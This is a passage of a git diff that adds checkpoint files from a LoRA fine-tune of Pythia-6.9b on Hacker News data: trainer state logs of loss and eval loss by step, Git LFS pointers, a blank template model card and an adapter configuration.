22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.84847887253504e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..c300f0c2d73125fea1131d34917937cf3da60f05 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:21fd5256d476c4957e3ea0a9fb32432de3515873cd0661efbb54363e62add331 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..539d9f3ac04eb6625abe73b138828b2f8c85e83f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c9d2ce59ff40a49921e38bce5fb81820d26f3196d720097c84a5f588259561b3 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..9dc1ec111f2a6f7fbe8d878013e83df65b5f618a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5b6faa8c50c89ce52c86274c8c795afb3f00524e7aef4544572df4b5b6b12c6d +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..f59d0454a2e540196c447dc81e215fde49e60f8d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fe5b11bd9034273a78668f95788292b87ad00f4f53e9e4864d3471380b5838b8 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..17b07f7dabc9918ebd421fdea01724c136c3f39b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/trainer_state.json @@ -0,0 +1,858 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.333333333333333, + "eval_steps": 10, + "global_step": 550, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + 